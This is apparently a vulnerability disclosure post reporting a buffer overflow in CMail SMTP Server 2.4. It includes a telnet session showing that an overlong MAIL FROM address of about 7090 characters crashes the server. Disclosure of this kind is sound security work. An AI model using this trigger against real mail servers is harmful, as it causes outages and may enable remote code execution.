Vulnerability in CMail SMTP Server Version 2.4: Remotely exploitable buffer

[luck () USSRBACK COM (Luciano Martins)]

We found a buffer overflow in the CMail SMTP service (long MAIL FROM:) that
may allow an attacker to execute arbitrary code on the target server, it is
based on the eEye pointed out overflows in cmail 2.3 >:-] Which was never
fixed... software vendors still not taking security issues seriously.

Example:

[[cham@guilt cham]$ telnet example.com 25
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220  SMTP services ready. Computalynx CMail Server Version: 2.4
helo ussr
250 Hello ussr [yourip], how are you today?
MAIL FROM: cmail <[buffer]@cmaildotcom.com>

Where [buffer] is aprox. 7090 characters. At his point the server overflows
and crashes. Just a typical buffer overflow that should have been fixed in
version 2.3 when it was pointed out to them.

Luck Martins

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